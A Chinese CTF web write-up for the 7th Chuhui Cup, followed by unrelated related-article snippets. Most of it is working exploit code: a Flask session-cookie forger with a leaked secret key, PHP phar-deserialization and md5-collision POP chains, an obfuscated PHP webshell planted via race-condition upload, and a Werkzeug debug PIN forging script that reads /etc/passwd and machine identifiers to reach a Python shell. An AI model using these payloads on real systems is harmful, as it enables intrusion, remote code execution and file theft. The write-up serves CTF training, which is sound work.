第七届楚慧杯web writeup

news/2024/5/20 0:06:01 标签: ctf, web, 反序列化, 楚慧杯, wp
webkit-tap-highlight-color: rgba(0, 0, 0, 0);">

Web

Python_easy

Flask session伪造,登录用户名处模板注入

用户名用{{config}}获取配置信息拿到
secret_key b’8\x98B\xf6\xad\xfb\xaf\xfcw\x8a=\xa2\xb2g\n\xe3-\x98Z;\xd9x\x8f\xae’
用脚本生成session

/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else: # > 3.4
    from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else: # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e


if __name__ == "__main__":
    # Args are only relevant for __main__ usage

    ## Description for help
    parser = argparse.ArgumentParser(
        description='Flask Session Cookie Decoder/Encoder',
        epilog="Author : Wilson Sumanang, Alexandre ZANNI")

    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                               help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                               help='Session cookie structure', required=True)

    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                               help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                               help='Session cookie value', required=True)

    ## get args
    args = parser.parse_args()

    ## find the option chosen
    print(FSCM.encode(b'8\x98B\xf6\xad\xfb\xaf\xfcw\x8a=\xa2\xb2g\n\xe3-\x98Z;\xd9x\x8f\xae', "{'username': 'admin'}"))
    # if(args.subcommand == 'encode'):
    #     if(args.secret_key is not None and args.cookie_structure is not None):
    #         print(FSCM.encode(args.secret_key, args.cookie_structure))
    # elif(args.subcommand == 'decode'):
    #     if(args.secret_key is not None and args.cookie_value is not None):
    #         print(FSCM.decode(args.cookie_value,args.secret_key))
    #     elif(args.cookie_value is not None):
    #         print(FSCM.decode(args.cookie_value))

替换session成为admin 访问flag即可

small_mini

/file.php?file=文件读取漏洞拿到源码

Class.php可以进行找到pop链读取flag.php文件
file.php可以拿到网站根目录
从而获取到了flag.php的绝对路径
利用file_exists函数能触发phar反序列化
生成phar脚本如下

<?php
class User
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|flag/i',$this->source)) {
            die('die! hacker');
        } else {
            highlight_file($this->source);
        }

    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "die! hacker";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}

$phar=new Phar("phar.phar");  //后缀名必须为phar
$phar->startBuffering();   //开始缓冲phar写操作
$phar->setStub("GIF89a<?php __HALT_COMPILER();?>");  //设置phar的文件标识
$user = new User("1");
$show = new Show("1");
$test = new Test();
$test->params = array("source"=>"/var/www/html/flag.php");
$show->str = array("str"=>$test);
$user->str=$show;
$phar->setMetadata($user);    //设置phar存储的自定义meta-data
$phar->addFromString("test.txt", "test");//添加要压缩的文件
$phar->stopBuffering();  //结束缓冲区
?>

上传携带phar文件,后缀改为jpg,
文件生成在upload目录下,文件名为md5(我的文件名+右上角ip).jpg
然后从查看文件处触发?file=phar://upload/c30d3c0cd8646e172b3fea093218f662.jpg再base64解码完成phar反序列化读取flag

easy_pop

找到pop链能够进行文件包含,提示了hint.php就读他

需要生成md5相同但值不同的序列,使用fastcoll

设置前缀为php://filter/read=convert.base64-encode|vw/resource=hint.php刚好60字符

将md5碰撞结果放到1.txt和2.txt中

生成序列化代码如下

<?php
//hint.php
show_source(__File__);
class K{
    public $code;
    private $code2;
    function __get($key)
    {
        $this->code->$key();
    }
}

class F{
    public $var1;
    public $var2;
    function __toString(){
        if(($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2))){
            include(substr($this->var2,0,60));
        }
    }
}

class C {
    public $thur;
    function __call($a,$b){
        echo $this->thur;
    }
}

class V{
    public $sun;
    function __destruct(){
        $this->sun->code2;
    }
}

function  readmyfile($path){
    $fh = fopen($path, "rb");
    $data = fread($fh, filesize($path));
    fclose($fh);
    return $data;
}

$v = new V();
$k = new K();
$v->sun = $k;
$c = new C();
$k->code = $c;
$f = new F();
$c->thur = $f;
$f->var1 = readmyfile("1.txt");
$f->var2 = readmyfile("2.txt");

echo urlencode(serialize($v));
?>

拿到hint后进入到一个文件上传界面,对后缀名没有检测,但上传后文件很快被删除,并且对文件内容有检测。

使用如下木马

<?php
$a = 'fil';
$b = 'e_put_con'.'tents';
$c = $a.$b;
$c("shell.txt","<?php @ev"."al(\$_PO"."ST['ant']);");
?>

竞争上传,一个进程疯狂传马,一个进程疯狂访问马的路径

直到大量404里有一个200停下,upload/shell.php就已经被生成了从而getshell

在这里插入图片描述

小f的网站

flask的debug泄漏,伪造pin码直接使用python shell拿到flag

/file目录存在文件读取,用来获取伪造pin需要的信息

伪造pin码需要
1.服务器运行flask所登录的用户名,从/etc/passwd。
2.modname
3.getattr(app, “name”, app.class.name)。
4.flask库下app.py的绝对路径,从debug页面获取。
5.当前网络的mac地址的十进制数。通过文件/sys/class/net/eth0/address获得
6.最后一个就是机器的id,通过文件/proc/self/cgroup的pids处。

2、3都是固定值,其他的通过读文件和debug页面拿到,生成pin的脚本如下

#!/usr/bin/python2.7
#coding:utf-8

from sys import *
import requests
import re
from itertools import chain
import hashlib

def genpin(mac,mid):

    probably_public_bits = [
        'root', # username
        'flask.app', # 一般为固定值modname
        'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
        '/usr/local/lib/python3.8/site-packages/flask/app.py' # getattr(mod, '__file__', None),
    ]
    mac = "0x"+mac.replace(":","")
    mac = int(mac,16)
    private_bits = [
        str(mac), # str(uuid.getnode()),  /sys/class/net/eth0/address
        str(mid) # get_machine_id(), /proc/sys/kernel/random/boot_id
    ]

    h = hashlib.md5()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode('utf-8')
        h.update(bit)
    h.update(b'cookiesalt')

    num = None
    if num is None:
        h.update(b'pinsalt')
        num = ('%09d' % int(h.hexdigest(), 16))[:9]

    rv =None
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                              for x in range(0, len(num), group_size))
                break
        else:
            rv = num

    return rv

def getcode(content):
    try:
        return re.findall(r"<pre>([\s\S]*)</pre>",content)[0].split()[0]
    except:
        return ''
def getshell():
    print (genpin("02:42:ac:11:00:19","9b4a22faf1aa0ee08038b0d4320d95c3bec57623bfd381b1dca5df97da3e357e"))

if __name__ == '__main__':
    getshell()

得到pin码168-792-274
输入不存在的文件如/file?file=/proc/self/fd/3进入debug页面
输入pin码进入python shell
Os.popen(‘cat /app/flag.txt’).read()拿到flag


http://www.niftyadmin.cn/n/191650.html

相关文章

每日学术速递4.1

CV - 计算机视觉 | ML - 机器学习 | RL - 强化学习 | NLP 自然语言处理 Subjects: cs.CL 1.HuggingGPT: Solving AI Tasks with ChatGPT and its Friends in HuggingFace 标题&#xff1a;HuggingGPT&#xff1a;使用 ChatGPT 及其在 HuggingFace 中的朋友解决 AI 任务 作…

【原创】AIGC之主流产品介绍

AIGC是什么 AIGC - AI Generated Content &#xff08;AI生成内容&#xff09;&#xff0c;对应我们的过去的主要是 UGC&#xff08;User Generated Content&#xff09;和 PGC&#xff08;Professional user Generated Content&#xff09;。 AIGC就是说所有输出内容是通过AI机…

1999-2020年上市公司治理水平含原始数据和计算代码(do文档)

1、时间&#xff1a;1999-2020 2、范围&#xff1a;沪深A股上市公司 3、指标包括&#xff1a;两职合一、董事会规模、独立董事比例、高管持股比例、股东持股比例数据、股权制衡度构造、机构投资者持股比例 4、来源&#xff1a;见文件内说明 5、指标说明&#xff1a;公司治理…

DAB-DETR论文学习记录

摘要 在本文中&#xff0c;1.我们提出了一种使用动态锚框进行DETR&#xff08;DEtection TRansformer&#xff09;的新颖查询公式&#xff0c;并提供了对查询在DETR中的作用的更深入理解。这个新公式直接使用框坐标作为转换器解码器中的查询&#xff0c;2.并逐层动态更新它们。…

spring事务

文章目录1. 事务1.1 JdbcTemplate1.1.1 简介1.1.2 准备工作1.1.3 实现CURD1.2 声明式事务概念1.2.1 事务基本概念1.2.2 编程式事务1.2.3 声明式事务1.3 基于注解的声明式事务1.3.1、准备工作1.3.2、测试无事务情况1.3.3、加入事务1.3.4、Transactional注解标识的位置1.3.5、事务…

黑马程序员Java教程学习笔记(六)

学习视频&#xff1a;https://www.bilibili.com/video/BV1Cv411372m 如侵权&#xff0c;请私信联系本人删除 文章目录黑马程序员Java教程学习笔记&#xff08;六&#xff09;File概述、File对象创建File类的常用方法方法递归非规律化递归问题&#xff1a;文件搜索IO前置内容&am…

WPF 资源

每个WPF的界面元素都具有一个名为Resources的属性&#xff0c;这个属性继承自FrameworkElement类&#xff0c;其类型为ResourceDictionary。ResourceDictionary能够以"键-值"对的形式存储资源&#xff0c;当许需要使用某个资源时&#xff0c;使用"键-值"对…

Python矩阵分解之QR分解

文章目录QR和RQ分解其他函数QR和RQ分解 记AAA为方阵&#xff0c;P,QP, QP,Q分别为正交单位阵和上三角阵&#xff0c;则形如AQRAQRAQR的分解为QR分解&#xff1b;形如ARQARQARQ的分解为RQ分解。 在scipy.linalg中&#xff0c;为二者提供了相同的参数&#xff0c;除了待分解矩阵…